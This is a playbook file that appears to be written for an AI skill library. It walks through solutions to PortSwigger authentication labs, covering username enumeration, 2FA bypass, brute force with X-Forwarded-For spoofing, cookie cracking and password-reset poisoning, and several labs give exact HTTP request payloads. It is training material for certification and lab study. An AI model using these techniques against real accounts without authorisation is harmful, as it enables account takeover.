By name: "Authentication — Complete Deep Dive" description: "Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques" domain: cybersecurity subdomain: bug-hunting version: "1.0.0" category: "bug-hunting/deep-dive-labs" tags: [portswigger, deep-dive, exploitation, zero-day, lab-solutions] mitre_attack: ["T1110"] tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] difficulty: "advanced"
Authentication — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Username enum different responses 🟢 APPRENTICE
Burp Intruder with username wordlist. Check response length/content difference: Invalid username vs Incorrect password.
Lab 2: 2FA simple bypass 🟢 APPRENTICE
After login, skip /login2 (2FA page) and navigate directly to /my-account.
Lab 3: Password reset broken logic 🟢 APPRENTICE
POST /forgot-password?temp-forgot-password-token=TOKEN HTTP/1.1
temp-forgot-password-token=TOKEN&username=carlos&new-password-1=hacked&new-password-2=hacked
Change username to victim. Token validation doesn't check user ownership.
Lab 4: Subtly different responses 🟡 PRACTITIONER
Check for trailing period: Invalid username or password vs Invalid username or password.
Lab 5: Response timing 🟡 PRACTITIONER
Long password → longer response time for valid usernames (bcrypt hash computed). Use X-Forwarded-For: 1.1.1.§1§ to bypass IP lock.
Lab 6: Broken brute-force IP block 🟡 PRACTITIONER
Login with valid creds every 2 attempts to reset the IP counter. Alternate: valid→attack→valid→attack.
Lab 7: Username enum via account lock 🟡 PRACTITIONER
Locked account = account exists. Send 5 attempts for each username. Locked response = valid user.
Lab 8: 2FA broken logic 🟡 PRACTITIONER
POST /login2 HTTP/1.1
Cookie: verify=carlos
mfa-code=§1234§
Change verify cookie to victim, brute force 4-digit MFA code.
Lab 9: Stay-logged-in cookie crack 🟡 PRACTITIONER
Cookie = Base64(username:MD5(password)). Decode, crack MD5 hash.
Lab 10: Offline password cracking 🟡 PRACTITIONER
Steal cookie via XSS → decode Base64 → crack MD5 hash offline with hashcat.
Lab 11: Password reset poisoning middleware 🟡 PRACTITIONER
POST /forgot-password HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER
username=carlos
Reset link sent to carlos uses your host → steal reset token.
Lab 12: Brute-force via password change 🟡 PRACTITIONER
Password change function reveals different errors for wrong vs correct current password. Brute force current password via this oracle.
Lab 13: Multiple credentials per request 🔴 EXPERT
{"username":"carlos","password":["123456","password","qwerty",...]}
Send password array — server tries all in one request, bypassing rate limiting.
Lab 14: 2FA brute force 🔴 EXPERT
Macro in Burp: auto-login → auto-get 2FA page → brute force code → repeat. Set session handling rule to use macro.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class